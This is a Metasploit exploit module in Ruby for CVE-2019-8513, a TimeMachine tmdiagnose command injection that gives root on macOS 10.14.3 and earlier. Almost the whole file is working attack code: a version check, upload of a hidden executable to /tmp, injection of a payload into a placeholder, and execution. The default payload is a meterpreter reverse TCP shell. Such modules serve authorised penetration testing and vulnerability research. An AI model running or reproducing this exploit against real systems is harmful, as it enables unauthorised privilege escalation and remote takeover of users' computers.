Mac OS X TimeMachine - 'tmdiagnose' Command Injection Privilege Escalation (Metasploit)

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Msf::Post::File
  include Msf::Post::OSX::Priv
  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Mac OS X TimeMachine (tmdiagnose) Command Injection Privilege Escalation',
      'Description'   => %q{
          This module exploits a command injection in TimeMachine on macOS <= 10.14.3 in
        order to run a payload as root. The tmdiagnose binary on OSX <= 10.14.3 suffers
        from a command injection vulnerability that can be exploited by creating a
        specially crafted disk label.

          The tmdiagnose binary uses awk to list every mounted volume, and composes
        shell commands based on the volume labels. By creating a volume label with the
        backtick character, we can have our own binary executed with root priviledges.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [
          'CodeColorist', # Discovery and exploit
          'timwr',        # Metasploit module
      ],
      'References'     => [
          ['CVE', '2019-8513'],
          ['URL', 'https://medium.com/0xcc/rootpipe-reborn-part-i-cve-2019-8513-timemachine-root-command-injection-47e056b3cb43'],
          ['URL', 'https://support.apple.com/en-in/HT209600'],
          ['URL', 'https://github.com/ChiChou/sploits'],
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => { 'WfsDelay' => 300, 'PAYLOAD' => 'osx/x64/meterpreter/reverse_tcp' },
      'Targets'        => [
          [ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],
          [ 'Python payload',                { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],
          [ 'Command payload',               { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],
      ],
      'DisclosureDate' => 'Apr 13 2019'))
    register_advanced_options [
      OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])
    ]
  end

  def upload_executable_file(filepath, filedata)
    print_status("Uploading file: '#{filepath}'")
    write_file(filepath, filedata)
    chmod(filepath)
    register_file_for_cleanup(filepath)
  end

  def check
    version = Gem::Version.new(get_system_version)
    if version >= Gem::Version.new('10.14.4')
      CheckCode::Safe
    else
      CheckCode::Appears
    end
  end

  def exploit
    if check != CheckCode::Appears
      fail_with Failure::NotVulnerable, 'Target is not vulnerable'
    end

    if is_root?
      fail_with Failure::BadConfig, 'Session already has root privileges'
    end

    unless writable? datastore['WritableDir']
      fail_with Failure::BadConfig, "#{datastore['WritableDir']} is not writable"
    end

    exploit_data = File.binread(File.join(Msf::Config.data_directory, "exploits", "CVE-2019-8513", "exploit" ))
    if target['Arch'] == ARCH_X64
      root_cmd = payload.encoded
    else
      root_cmd = payload.raw
      if target['Arch'] == ARCH_PYTHON
        root_cmd = "echo \"#{root_cmd}\" | python"
      end
      root_cmd = "CMD:#{root_cmd}"
    end
    if root_cmd.length > 1024
      fail_with Failure::PayloadFailed, "Payload size (#{root_cmd.length}) exceeds space in payload placeholder"
    end

    placeholder_index = exploit_data.index('ROOT_PAYLOAD_PLACEHOLDER')
    exploit_data[placeholder_index, root_cmd.length] = root_cmd

    exploit_file = "#{datastore['WritableDir']}/.#{Rex::Text::rand_text_alpha_lower(6..12)}"
    upload_executable_file(exploit_file, exploit_data)

    print_status("Executing exploit '#{exploit_file}'")
    result = cmd_exec(exploit_file)
    print_status("Exploit result:\n#{result}")
  end
end